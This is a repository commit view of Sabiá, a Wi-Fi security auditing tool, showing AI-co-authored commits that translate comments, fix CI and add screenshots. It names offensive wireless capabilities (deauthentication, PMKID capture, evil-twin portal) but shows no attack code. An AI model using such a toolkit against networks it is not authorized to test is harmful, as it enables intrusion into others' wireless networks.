4 Commits
Author SHA1 Message Date
Lucas RayanandClaude Sonnet 5 55e19a8e5b chore(i18n): finish translating code comments and scripts to English
CI / Format and clippy (push) Successful in 1m13s
CI / Dependency audit (push) Successful in 13s
CI / Tests (Linux) (push) Successful in 1m35s
Release / Create release (push) Successful in 7s
CI / Check desktop app (Linux) (push) Successful in 3m19s
Release / CLI (linux-aarch64) (push) Successful in 1m3s
Release / CLI (linux-x86_64) (push) Successful in 1m28s
Release / Desktop app (linux-aarch64) (push) Successful in 7m16s
Release / Desktop app (linux-x86_64) (push) Successful in 10m17s
Release / Desktop app (windows) (push) Successful in 4m54s
Completes the English-only standardization for code, comments, scripts
and CI templates (UI/CLI-facing strings stay bilingual pt-BR/en,
untouched). Covers the remaining crates/, apps/gui/ui/ and
apps/gui/src-tauri/ comments, .gitea/ workflow and template comments,
.githooks/ hooks, and the scripts/ source comments for the files
already renamed in a prior commit (check.sh, generate-logo.py,
install-hooks.sh).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VAyr8d7HuAdUGB6aA5xmDD
2026-10-30 20:44:39 -03:00
Lucas RayanandClaude Sonnet 5 bf059fd0bc docs: add desktop app screenshots
Sabiá had no screenshots at all before this, just the logo. Add
networks/attack/settings screenshots (light/dark, en/pt-BR) captured
from the real UI with synthetic audit fixtures (7 mock access points
across 2.4/5 GHz covering open/WEP/WPA/WPA2/WPA3/802.1X-Enterprise, mock
client stations, one crackable handshake — no real third-party network
data), and reference them from README.md, README.pt-BR.md,
docs/interface.md and docs/pt-BR/interface.md.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VAyr8d7HuAdUGB6aA5xmDD
2026-10-30 20:44:29 -03:00
Lucas RayanandClaude Sonnet 5 a904723f96 fix(gui): add non-Linux stubs for pmkid_hunt/pmf_test and fix Windows warnings
main.rs failed to compile on Windows: pmkid_hunt and pmf_test were only
implemented under #[cfg(target_os = "linux")], with no fallback stub,
so the Tauri commands calling them did not resolve.

- Add #[cfg(not(target_os = "linux"))] stubs for both, matching the
  existing pattern for every other Linux-only Engine method (returns
  SabiaError::UnsupportedPlatform).
- Mark the DeauthJob/Engine fields and session_ap/client_snapshot
  helpers that only the Linux-only code paths use with
  #[cfg_attr(not(target_os = "linux"), allow(dead_code))], same for
  eviltwin.rs's form_value/url_decode (only called from the
  #[cfg(target_os = "linux")] HTTP handler) — silences the 5
  dead_code warnings a Windows build produced.
- .setup(|app| ...) used app only inside unix/linux/macos-gated
  blocks, so it was unused on Windows; renamed the closure parameter
  and reintroduce it under the matching cfg.
- Add the missing English dictionary entry for the mutation-rules
  checkbox label in app.js (found by visually reviewing a generated
  screenshot: it was rendering in Portuguese in the English UI even
  though check-ui-i18n.mjs reported full coverage).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VAyr8d7HuAdUGB6aA5xmDD
2026-10-30 20:44:17 -03:00
Lucas RayanandClaude Sonnet 5 2dfbbfc64a fix(ci): stop dd from corrupting the x86_64 linuxdeploy launcher
Same root cause and fix as Guará: tauri-bundler's prepare_tools runs
'dd ... seek=8 conv=notrunc' on the cached linuxdeploy-x86_64 binary on
the aarch64 Gitea runner. A bash wrapper script there loses its shebang
to the dd and fails with ENOENT; a native ELF launcher survives because
bytes 8-10 of the ELF header are unused EI_PAD padding. Replace the
wrapper with a small ELF launcher compiled with cc, and cache
AppRun-x86_64 explicitly.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VAyr8d7HuAdUGB6aA5xmDD
2026-10-30 20:44:06 -03:00
81 changed files with 1390 additions and 1233 deletions

No files matched your search

+9 -9
View File
@@ -1,17 +1,17 @@
name: Relatar um problema
description: Algo não funcionou como esperado
name: Report a bug
description: Something did not work as expected
labels: [bug]
body:
- type: textarea
id: o-que
attributes: { label: "O que aconteceu?", description: "Passos, o que esperava e o que viu." }
id: what-happened
attributes: { label: "What happened?", description: "Steps to reproduce, expected behavior, and actual behavior." }
validations: { required: true }
- type: input
id: sistema
attributes: { label: "Sistema operacional e versão do Sabiá", placeholder: "Ubuntu 24.04 / sabia 0.1.0" }
id: system
attributes: { label: "Operating system and Sabiá version", placeholder: "Ubuntu 24.04 / sabia 1.0.3" }
- type: input
id: adaptador
attributes: { label: "Adaptador Wi-Fi e modo", placeholder: "wlan0 (Intel AX200), modo monitor" }
id: adapter
attributes: { label: "Wi-Fi adapter and mode", placeholder: "wlan0 (Intel AX200), monitor mode" }
- type: textarea
id: log
attributes: { label: "Saída do terminal (sabia scan / ui)", render: shell }
attributes: { label: "Terminal output (sabia scan / ui)", render: shell }
+6 -5
View File
@@ -1,7 +1,8 @@
## O que muda e por quê
## What changes and why
## Checklist
- [ ] `cargo fmt --all` e `cargo clippy --workspace --all-targets` sem avisos
- [ ] `cargo test --workspace` passa
- [ ] Nada neste PR transmite ou envia dados capturados para fora da máquina
- [ ] CHANGELOG atualizado (se houver mudança visível)
- [ ] `cargo fmt --all` and `cargo clippy --workspace --all-targets` pass without warnings
- [ ] `cargo test --workspace` passes
- [ ] Nothing in this PR transmits captured data outside the local machine
- [ ] Commits follow Conventional Commits in English and code/comments are in English
- [ ] CHANGELOG updated (if there is a user-visible change)
+14 -14
View File
@@ -1,7 +1,7 @@
name: CI
on:
# Mudança só de documentação ou estado de ferramentas não precisa dos jobs de CI.
# Documentation-only or local agent state changes do not trigger CI jobs.
push:
branches: [main]
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**', '.wolf/**', '.claude/**', '.opencode/**', '.codex/**', '.cursor/**', '.superpowers/**', '.superset/**', '.gitea/ISSUE_TEMPLATE/**', 'scripts/release-notes.sh', 'scripts/release-upload.sh', '.gitea/workflows/release.yml']
@@ -15,17 +15,17 @@ concurrency:
env:
CARGO_TERM_COLOR: always
RUSTFLAGS: -D warnings
# O runner mantém /opt/hostedtoolcache num volume que sobrevive entre jobs:
# a toolchain do rustup, o registry do cargo, caches de npm/apt e o diretório
# target ficam ali, então nada disso é baixado ou recompilado do zero. Cada job
# usa o seu próprio target (flags diferentes invalidariam o de outro job).
# The runner persists /opt/hostedtoolcache across jobs: rustup toolchains,
# cargo registry, npm/apt caches, and target directories live there so nothing
# is re-downloaded or rebuilt from scratch on every run. Each job uses its own
# target directory so differing RUSTFLAGS do not invalidate another job's cache.
CARGO_HOME: /opt/hostedtoolcache/cargo
RUSTUP_HOME: /opt/hostedtoolcache/rustup
NPM_CONFIG_CACHE: /opt/hostedtoolcache/npm-cache
jobs:
lint:
name: Formatação e clippy
name: Format and clippy
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-lint
@@ -37,14 +37,14 @@ jobs:
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Cobertura da tradução da interface
- name: UI translation coverage
run: node scripts/check-ui-i18n.mjs
- run: cargo fmt --all -- --check
- run: cargo clippy --workspace --all-targets
# Windows e macOS saem: o Gitea aqui tem um único runner, Linux arm64.
# Linux-only runner (ARM64).
test:
name: Testes (Linux)
name: Tests (Linux)
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-test
@@ -54,21 +54,21 @@ jobs:
- run: cargo test --workspace
audit:
name: Auditoria de dependências
name: Dependency audit
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
# rustsec/audit-check depends on GitHub's checks API. cargo-audit itself
# needs nothing but the advisory database, and installing it once into the
# persistent CARGO_HOME makes every later run skip the compile.
# persistent CARGO_HOME makes every later run skip compilation.
- name: cargo audit
run: |
command -v cargo-audit >/dev/null || cargo install cargo-audit --locked
cargo audit
gui:
name: Compila o app desktop (Linux)
name: Check desktop app (Linux)
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-gui
@@ -78,10 +78,10 @@ jobs:
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Dependências do Tauri
- name: Tauri system dependencies
timeout-minutes: 25
run: scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-native libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
- name: Gera os ícones
- name: Generate icons
run: npx --yes @tauri-apps/cli@2 icon apps/gui/src-tauri/icons/source.png -o apps/gui/src-tauri/icons
- run: cargo check --manifest-path apps/gui/src-tauri/Cargo.toml
env:
+20 -22
View File
@@ -1,22 +1,20 @@
name: Release
# Quando uma tag v* é enviada: cria a entrada em "Releases" com as notas do
# CHANGELOG.md e anexa o CLI compilado (scripts/package-cli.sh), com um .sha256 ao
# lado de cada pacote. É o que o atualizador (`sabia update`) baixa.
# Triggered when a v* tag is pushed: creates the Gitea Release entry with notes
# from CHANGELOG.md and uploads the compiled CLI (scripts/package-cli.sh) with
# a .sha256 checksum alongside each archive, plus the desktop bundles (Linux
# aarch64, Linux x86_64, and Windows via cargo-xwin).
#
# O CLI é só para Linux (x86_64 e aarch64), compilado no runner Linux; o x86_64
# por compilação cruzada. Windows e macOS têm só o app desktop.
#
# Assinatura do atualizador (opcional): SABIA_TAURI_SIGNING_PRIVATE_KEY e
# SABIA_TAURI_SIGNING_PRIVATE_KEY_PASSWORD, com os nomes antigos sem prefixo como
# fallback. Sem chave, o build continua e apenas não gera .sig.
# Updater signing (optional): SABIA_TAURI_SIGNING_PRIVATE_KEY and
# SABIA_TAURI_SIGNING_PRIVATE_KEY_PASSWORD, with unprefixed names as fallback.
# Without a key, the build succeeds without generating .sig files.
on:
push:
tags: ['v*']
env:
CARGO_TERM_COLOR: always
# Toolchain, caches e registry do cargo ficam no volume que sobrevive entre jobs.
# Rust toolchains, cargo registry, and caches live on the persistent runner volume.
CARGO_HOME: /opt/hostedtoolcache/cargo
RUSTUP_HOME: /opt/hostedtoolcache/rustup
NPM_CONFIG_CACHE: /opt/hostedtoolcache/npm-cache
@@ -24,7 +22,7 @@ env:
jobs:
release:
name: Cria a release
name: Create release
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
@@ -36,9 +34,9 @@ jobs:
TOKEN: ${{ gitea.token }}
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
run: |
# Uma execução repetida não recria a release.
# Re-running the workflow does not recreate an existing release.
if curl -fsS -H "Authorization: token $TOKEN" "$API/releases/tags/$TAG" >/dev/null 2>&1; then
echo "a release $TAG já existe"; exit 0
echo "release $TAG already exists"; exit 0
fi
scripts/release-notes.sh "$TAG" > notes.md
pre=false; case "$TAG" in *-*) pre=true ;; esac
@@ -64,19 +62,19 @@ jobs:
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.target }}
- name: Linker e ferramentas desta plataforma
- name: Platform cross-linker
if: ${{ matrix.apt != '' }}
run: scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/cli-x86_64 ${{ matrix.apt }}
- name: Compila e empacota
- name: Build and package
run: scripts/package-cli.sh "${{ gitea.ref_name }}" "${{ matrix.platform }}" "${{ matrix.target }}" | tee packages.txt
- name: Anexa à release
- name: Upload to release
env:
TOKEN: ${{ gitea.token }}
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
run: scripts/release-upload.sh "${{ gitea.ref_name }}" $(cat packages.txt)
gui:
name: App desktop (${{ matrix.platform }})
name: Desktop app (${{ matrix.platform }})
needs: release
runs-on: ubuntu-latest
env:
@@ -93,11 +91,11 @@ jobs:
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Dependências do Tauri (Linux aarch64)
- name: Tauri dependencies (Linux aarch64)
if: matrix.platform == 'linux-aarch64'
timeout-minutes: 25
run: scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-native libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
- name: Dependências do Tauri (Linux x86_64)
- name: Tauri dependencies (Linux x86_64)
if: matrix.platform == 'linux-x86_64'
timeout-minutes: 25
run: |
@@ -117,14 +115,14 @@ jobs:
else
scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-native libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
fi
- name: Ferramentas para compilação cruzada (Windows)
- name: Cross-compilation tools (Windows)
if: matrix.platform == 'windows'
run: |
scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-win nsis lld llvm clang
command -v cargo-xwin >/dev/null || cargo install cargo-xwin --locked
- name: Compila e empacota
- name: Build and package
run: scripts/build-gui.sh "${{ matrix.platform }}"
- name: Anexa à release
- name: Upload to release
env:
TOKEN: ${{ gitea.token }}
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
+42
View File
@@ -0,0 +1,42 @@
#!/usr/bin/env bash
# Enforces Conventional Commits 1.0.0 and English-only commit messages.
set -euo pipefail
msg_file="${1:?usage: commit-msg <file>}"
python3 - "$msg_file" <<'PY'
import re, sys
from pathlib import Path
raw = Path(sys.argv[1]).read_text(encoding="utf-8")
lines = [l for l in raw.splitlines() if not l.startswith("#")]
while lines and not lines[0].strip():
lines.pop(0)
if not lines:
sys.exit("commit-msg: empty commit message")
subject = lines[0].strip()
if subject.startswith(("Merge ", "Revert \"")):
sys.exit(0)
conv_re = re.compile(
r"^(feat|fix|chore|ci|docs|refactor|test|perf|build|style|revert)(\([a-z0-9_./-]+\))?!?: .+$"
)
if not conv_re.match(subject):
sys.exit(
f"commit-msg: invalid Conventional Commit header: {subject!r}\n"
"Expected: <type>[optional scope]: <description in English>\n"
"Allowed types: feat, fix, chore, ci, docs, refactor, test, perf, build, style, revert"
)
body = "\n".join(lines)
cleaned = re.sub(r"\b(Guará|Sabiá|Acauã|Ciberfauna)\b", "", body)
pt_accents = re.search(r"[áàâãéêíóôõúçÁÀÂÃÉÊÍÓÔÕÚÇ]", cleaned)
pt_words = re.search(
r"\b(não|para|como|quando|então|pelos|pelas|pelo|pela|estão|está|também|versão|"
r"corrige|adiciona|atualiza|remove|padroniza|implementa|ajusta|arquivo|arquivos)\b",
cleaned,
re.I,
)
if pt_accents or pt_words:
sys.exit("commit-msg: commit messages must be written 100% in English.")
PY
+2 -2
View File
@@ -1,3 +1,3 @@
#!/usr/bin/env bash
# Antes de cada push: a verificação rápida. Ignore com `git push --no-verify` (use com parcimônia).
exec "$(git rev-parse --show-toplevel)/scripts/verificar.sh"
set -euo pipefail
exec "$(git rev-parse --show-toplevel)/scripts/check.sh"
+7 -7
View File
@@ -1,4 +1,4 @@
# Build
# Build artifacts
target/
apps/gui/src-tauri/target/
node_modules/
@@ -7,15 +7,15 @@ node_modules/
.DS_Store
**/*.rs.bk
# Capturas e estado local do Sabiá
# Sabiá local captures and audit log
*.pcap
*.cap
.sabia-audit.log
# Logo copiada para a interface pelo build.rs
# Logo copied to the UI directory by build.rs
/apps/gui/ui/logo.png
# Configuração e memória local de agentes de IA — não faz parte do produto
# Local AI agent configuration and state — not part of the product
.claude/
.wolf/
.opencode/
@@ -27,16 +27,16 @@ CLAUDE.md
AGENTS.md
GEMINI.md
# Variáveis de ambiente locais (o setup do Superset copia da raiz)
# Local environment files
.env
.env.*
# Lixo local
# Local scratch files
*.eml
__pycache__/
*.pyc
# Pacotes gerados por scripts/package-cli.sh
# Packages generated by scripts/package-cli.sh and scripts/build-gui.sh
/guara-v*
/sabia-v*
/dist-gui
+11 -4
View File
@@ -7,20 +7,23 @@ Thanks for helping! Golden rules:
1. **Authorized auditing only.** Every new feature is for testing your own networks or networks you're authorized to test. Sensitive operations (deauthentication) require explicit confirmation and are recorded in the audit trail. PRs that hide activity from the trail or remove the confirmations are rejected.
2. **Test the parsers with real data.** New readers (radiotap, 802.11, EAPOL, pcap) need tests against known frames — see `crates/sabia-core/tests/` and the helpers in `crates/sabia-core/src/testutil.rs`. No parser without a test.
3. **Be honest about what works.** If a feature is Linux-only, or only covers WPA2-PSK, say so in `--help`, in the README and in the test.
4. **100% English codebase and comments.** All source code, comments, scripts, CI workflows, and commit messages must be written in English, while the GUI/CLI remains bilingual (PT-BR and EN via `i18n-en.js`).
## Workflow
```bash
scripts/instalar-hooks.sh # once: runs the quick check before every push
scripts/verificar.sh # fast (seconds): fmt, clippy as in CI, i18n, scripts, workflows
scripts/verificar.sh --completo # adds cargo test --workspace and cargo audit
scripts/install-hooks.sh # once: enables commit-msg and pre-push Git hooks
scripts/check.sh # fast (seconds): fmt, clippy as in CI, i18n, scripts, workflows, semver
scripts/check.sh --full # adds cargo test --workspace and cargo audit
```
CI runs on Linux; run the check before pushing: almost everything that fails CI shows up here in seconds. Documentation-only changes (`*.md`, `docs/`) skip CI.
Live capture exists only on Linux (`AF_PACKET` + netlink); the code behind Windows and macOS paths still compiles and is covered by `cargo check`.
## Releases
## Releases and Versioning
Versions strictly follow **Semantic Versioning 2.0.0** (`MAJOR.MINOR.PATCH`), synchronized across `Cargo.toml`, `apps/gui/src-tauri/Cargo.toml`, and `apps/gui/src-tauri/tauri.conf.json` (enforced by `scripts/check.sh`).
Pushing a `v*` tag makes the Gitea CI create the release (notes come from `CHANGELOG.md`, so update it first) and attach the Linux CLI (x86_64 and aarch64) and the desktop app for Linux (x86_64 and aarch64) and Windows.
@@ -43,6 +46,10 @@ The source text of the interface is **Portuguese**; English comes from `apps/gui
Keep the pt/en pair: every `*.md` and `docs/*` file has a Portuguese version (`*.pt-BR.md`, `docs/pt-BR/`) and an English one.
## Commits
Commits must follow **Conventional Commits 1.0.0** in English (`feat:`, `fix:`, `chore:`, `ci:`, `docs:`, `refactor:`, `test:`, `perf:`, `build:`), e.g. `fix(eapol): validate replay counter on message 2`. One logical change per PR. Enforced automatically by `.githooks/commit-msg`.
## License
By contributing, you agree to license under [MIT](LICENSE-MIT) **or** [Apache-2.0](LICENSE-APACHE), like the rest of the project.
+11 -4
View File
@@ -7,20 +7,23 @@ Obrigado por ajudar! Regras de ouro:
1. **Só auditoria autorizada.** Todo recurso novo é para testar redes próprias ou com autorização. Operações sensíveis (desautenticação) exigem confirmação explícita e ficam na trilha de auditoria. PRs que escondem atividade da trilha ou removem as confirmações são recusados.
2. **Teste os parsers com dados reais.** Novos leitores (radiotap, 802.11, EAPOL, pcap) precisam de teste com quadros conhecidos — veja `crates/sabia-core/tests/` e os ajudantes em `crates/sabia-core/src/testutil.rs`. Nada de parser sem teste.
3. **Seja honesto sobre o que funciona.** Se um recurso só roda no Linux, ou só cobre WPA2-PSK, diga isso no `--help`, no README e no teste.
4. **Código, comentários e commits 100% em inglês.** Todo código-fonte, comentários, scripts, workflows de CI e mensagens de commit devem ser escritos em inglês, enquanto a interface gráfica/CLI permanece bilíngue (PT-BR e EN via `i18n-en.js`).
## Fluxo
```bash
scripts/instalar-hooks.sh # uma vez: roda a verificação rápida antes de cada push
scripts/verificar.sh # rápido (segundos): fmt, clippy como no CI, tradução, scripts, workflows
scripts/verificar.sh --completo # inclui cargo test --workspace e cargo audit
scripts/install-hooks.sh # uma vez: ativa os hooks commit-msg e pre-push
scripts/check.sh # rápido (segundos): fmt, clippy como no CI, tradução, scripts, workflows, semver
scripts/check.sh --full # inclui cargo test --workspace e cargo audit
```
O CI roda em Linux; rode a verificação antes do push: quase tudo que faz o CI falhar aparece aqui em segundos. Mudanças só de documentação (`*.md`, `docs/`) pulam o CI.
A captura ao vivo só existe no Linux (`AF_PACKET` + netlink); o código dos caminhos de Windows e macOS continua compilando e é coberto pelo `cargo check`.
## Releases
## Releases e Versionamento
As versões seguem estritamente o **Versionamento Semântico 2.0.0** (`MAJOR.MINOR.PATCH`), sincronizadas entre `Cargo.toml`, `apps/gui/src-tauri/Cargo.toml` e `apps/gui/src-tauri/tauri.conf.json` (validado por `scripts/check.sh`).
Enviar uma tag `v*` faz o CI do Gitea criar a release (as notas vêm do `CHANGELOG.md`, então atualize-o antes) e anexar o CLI para Linux (x86_64 e aarch64) e o app desktop para Linux (x86_64 e aarch64) e Windows.
@@ -43,6 +46,10 @@ O texto-fonte da interface é em **português**; o inglês vem de `apps/gui/ui/i
Mantenha o par pt/en: todo arquivo `*.md` e `docs/*` tem a versão em português (`*.pt-BR.md`, `docs/pt-BR/`) e em inglês.
## Commits
Os commits devem seguir **Conventional Commits 1.0.0** em inglês (`feat:`, `fix:`, `chore:`, `ci:`, `docs:`, `refactor:`, `test:`, `perf:`, `build:`), ex.: `fix(eapol): validate replay counter on message 2`. Uma mudança lógica por PR. Validado automaticamente por `.githooks/commit-msg`.
## Licença
Ao contribuir, você concorda em licenciar sob [MIT](LICENSE-MIT) **ou** [Apache-2.0](LICENSE-APACHE), como o resto do projeto.
+4
View File
@@ -6,6 +6,8 @@
<p align="center"><b>English</b> · <a href="README.pt-BR.md">Português</a></p>
<p align="center"><img src="docs/img/networks-light-en.png" width="900" alt="The Sabiá desktop app capturing Wi-Fi frames in monitor mode, showing visible networks with signal bars, channels, security badges and associated clients"><br><sub>The real interface running with synthetic audit data (simulated networks, no real third-party data).</sub></p>
---
Sabiá brings together, in a single sweep, what tools like `airodump-ng`, `hcxdumptool`, `aircrack-ng` and `wifite` do separately — in one Rust binary, with no `libpcap` dependency:
@@ -68,6 +70,8 @@ Authorized deauthentication testing and all other commands (`audit`, `update`, `
Desktop app (Tauri) with an interface sidebar, a capture panel with an animated signal line, and a networks table with signal bars and color-coded security badges. The same front-end runs in the browser with `sabia ui`. More in **[docs/interface.md](docs/interface.md)**.
<p align="center"><img src="docs/img/networks-dark-en.png" width="640" alt="The networks table in the dark theme"> <img src="docs/img/attack-dark-en.png" width="640" alt="Network detail dialog showing attacks and authorization"></p>
- Pick the interface, toggle **monitor mode** and start/stop **capture** by button.
- Live **networks seen** table, with signal, channel and security.
- An **authorized-use** notice always in view and automatic privilege elevation on startup.
+4
View File
@@ -6,6 +6,8 @@
<p align="center"><a href="README.md">English</a> · <b>Português</b></p>
<p align="center"><img src="docs/img/networks-light-pt.png" width="900" alt="O aplicativo desktop do Sabiá capturando quadros Wi-Fi em modo monitor, mostrando redes visíveis com barras de sinal, canais, selos de segurança e clientes associados"><br><sub>A interface de verdade rodando com dados sintéticos de auditoria (redes simuladas, sem dados reais de terceiros).</sub></p>
---
O Sabiá junta, numa única varredura, o que ferramentas como `airodump-ng`, `hcxdumptool`, `aircrack-ng` e `wifite` fazem separadamente — em um só binário Rust, sem depender de `libpcap`:
@@ -68,6 +70,8 @@ Teste autorizado de desautenticação e todos os outros comandos (`audit`, `upda
App desktop (Tauri) com sidebar de interfaces, painel de captura com linha de sinal animada e uma tabela de redes com barras de sinal e selos de segurança por cor. O mesmo front-end roda no navegador com `sabia ui`. Mais detalhes em **[docs/pt-BR/interface.md](docs/pt-BR/interface.md)**.
<p align="center"><img src="docs/img/networks-dark-pt.png" width="640" alt="A tabela de redes no tema escuro"> <img src="docs/img/attack-dark-pt.png" width="640" alt="Diálogo de detalhes da rede com opções de ataque e autorização"></p>
- Seleção da interface, ativação de **modo monitor** e início/parada de **captura** por botão.
- Tabela de **redes vistas** em tempo real, com sinal, canal e segurança.
- Aviso de **uso autorizado** sempre à vista e elevação automática de privilégio ao abrir.
+3 -3
View File
@@ -1,8 +1,8 @@
# App desktop (Tauri 2). Fica fora do workspace principal porque exige
# as bibliotecas de WebView do sistema (WebKitGTK no Linux).
# Desktop application (Tauri 2). Kept outside the main workspace because it
# requires system WebView libraries (WebKitGTK on Linux).
[package]
name = "sabia-gui"
description = "Sabiá: interface gráfica de auditoria de Wi-Fi"
description = "Sabiá: graphical Wi-Fi security auditing interface"
version = "1.0.3"
edition = "2021"
license = "MIT OR Apache-2.0"
+3 -3
View File
@@ -3,12 +3,12 @@ fn main() {
let _ = std::fs::copy("../../../logo.png", "../ui/logo.png");
#[cfg(windows)]
{
// Modo monitor e captura crua exigem administrador no Windows: o
// manifesto pede elevação (UAC) assim que o app abre.
// Monitor mode and raw frame capture require Administrator privileges on Windows:
// embed UAC elevation manifest at startup.
let manifest = include_str!("windows-app-manifest.xml");
let attrs = tauri_build::Attributes::new()
.windows_attributes(tauri_build::WindowsAttributes::new().app_manifest(manifest));
tauri_build::try_build(attrs).expect("falha no tauri-build");
tauri_build::try_build(attrs).expect("tauri-build failed");
}
#[cfg(not(windows))]
tauri_build::build();
+1 -1
View File
@@ -1,7 +1,7 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Permissões da janela principal",
"description": "Main window permissions",
"windows": ["main"],
"permissions": ["core:default", "core:window:allow-destroy", "core:window:allow-close"]
}
@@ -1 +1 @@
{"default":{"identifier":"default","description":"Permissões da janela principal","local":true,"windows":["main"],"permissions":["core:default","core:window:allow-destroy","core:window:allow-close"]}}
{"default":{"identifier":"default","description":"Main window permissions","local":true,"windows":["main"],"permissions":["core:default","core:window:allow-destroy","core:window:allow-close"]}}
+20 -17
View File
@@ -1,4 +1,4 @@
// Evita a janela de console extra no Windows em release.
// Prevents an extra console window on Windows in release builds.
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
use sabia_core::engine::{Engine, ScanOptions};
@@ -506,9 +506,9 @@ fn update_apply(state: tauri::State<'_, State>) -> Result<String, String> {
state.0.update_apply().map_err(|e| e.to_string())
}
/// `true` quando o processo já tem privilégio suficiente pra tudo que o
/// Sabiá faz (modo monitor, captura crua). No Windows o manifesto já
/// exige administrador antes mesmo do app abrir, então aqui é sempre `true`.
/// `true` when the process already has sufficient privileges for all
/// Sabiá operations (monitor mode, raw capture). On Windows the manifest already
/// requires administrator privileges before launch, so this is always `true`.
#[tauri::command]
fn is_elevated() -> bool {
#[cfg(unix)]
@@ -521,9 +521,9 @@ fn is_elevated() -> bool {
}
}
/// Reabre o app com privilégios de administrador (Linux/macOS). O app novo
/// encerra este quando abre; se a autorização falhar ou for cancelada, a
/// janela continua aqui e a interface mostra o motivo.
/// Relaunches the app with administrator privileges (Linux/macOS). The new instance
/// terminates this one on startup; if authorization fails or is cancelled, the
/// window stays open and the UI displays the reason.
#[tauri::command]
fn relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
#[cfg(any(target_os = "linux", target_os = "macos"))]
@@ -610,9 +610,9 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
Ok(())
}
/// Caminho que o root consegue executar. No AppImage, `current_exe` aponta
/// pra dentro de um ponto de montagem FUSE do usuário, inacessível ao root:
/// usa o próprio arquivo `.AppImage` (variável `APPIMAGE`).
/// Executable path accessible to root. Inside an AppImage, `current_exe` points
/// inside a user FUSE mount that root cannot access:
/// use the `.AppImage` file itself (`APPIMAGE` environment variable).
#[cfg(any(target_os = "linux", target_os = "macos"))]
fn elevated_exe() -> Result<std::path::PathBuf, String> {
if let Some(p) = std::env::var_os("APPIMAGE")
@@ -628,8 +628,11 @@ fn main() {
let engine = Arc::new(Engine::new());
tauri::Builder::default()
.manage(State(engine))
.setup(|app| {
// Quando abrimos elevados a pedido do app normal, ele fecha o app antigo.
.setup(|_app| {
#[cfg(any(target_os = "linux", target_os = "macos"))]
let app = _app;
// When launched elevated by the unprivileged instance, terminate the old process.
#[cfg(unix)]
if let Some(pid) = std::env::var("SABIA_REPLACE_PID")
.ok()
@@ -637,7 +640,7 @@ fn main() {
{
std::thread::spawn(move || {
std::thread::sleep(std::time::Duration::from_millis(1200));
// SAFETY: só envia SIGTERM ao processo anterior do próprio usuário.
// SAFETY: only sends SIGTERM to the previous process owned by the invoking user.
unsafe {
if libc::geteuid() == 0 {
libc::kill(pid, libc::SIGTERM);
@@ -646,10 +649,10 @@ fn main() {
});
}
// Captura crua e modo monitor exigem root: pede elevação assim
// que o app abre, sem esperar o usuário procurar um botão. Se
// a autorização falhar, a janela continua aberta e a interface
// mostra o aviso (com um botão pra tentar de novo).
// Raw capture and monitor mode require root: request elevation as soon
// as the app launches, without waiting for the user to look for a button. If
// authorization fails, the window stays open and the UI
// displays a warning banner (with a retry button).
#[cfg(any(target_os = "linux", target_os = "macos"))]
if unsafe { libc::geteuid() != 0 } && std::env::var("SABIA_REPLACE_PID").is_err() {
let handle = app.handle().clone();
+19 -21
View File
@@ -8,11 +8,11 @@
--text-3: #8e8e93;
--line: rgba(0, 0, 0, 0.09);
/* "canto" — cobre quente, o peito do sabiá-laranjeira */
/* "song" — warm copper, the rufous-bellied thrush breast */
--accent: #b45309;
--accent-ink: #ffffff;
--accent-soft: rgba(180, 83, 9, 0.11);
/* "sinal" — ciano, a onda que o rádio enxerga */
/* "signal" — cyan, the radio wave */
--signal: #0891b2;
--signal-soft: rgba(8, 145, 178, 0.12);
@@ -131,7 +131,7 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
.page { max-width: 1040px; margin: 0 auto; padding: 30px 36px 100px; animation: rise .35s cubic-bezier(.2, .8, .2, 1); }
@keyframes rise { from { opacity: 0; transform: translateY(8px); } to { opacity: 1; transform: none; } }
/* -------------------------------------------------------- topo + linha de sinal */
/* -------------------------------------------------------- topbar + signal line */
.topbar { display: flex; align-items: center; justify-content: space-between; gap: 16px; }
.topbar h1 { font-size: 21px; }
.topbar .sub { color: var(--text-2); font-size: 13px; margin-top: 2px; }
@@ -141,14 +141,14 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
.wave.scanning path.live { opacity: 1; }
.wave.scanning path.flat { opacity: 0; }
/* ------------------------------------------------------------ aviso */
/* ------------------------------------------------------------ notice banner */
.notice { display: flex; gap: 10px; background: var(--surface); border-radius: 12px; padding: 12px 14px; box-shadow: var(--shadow); font-size: 13px; color: var(--text-2); margin-bottom: 20px; align-items: flex-start; }
.notice svg { flex: none; margin-top: 2px; color: var(--warn); }
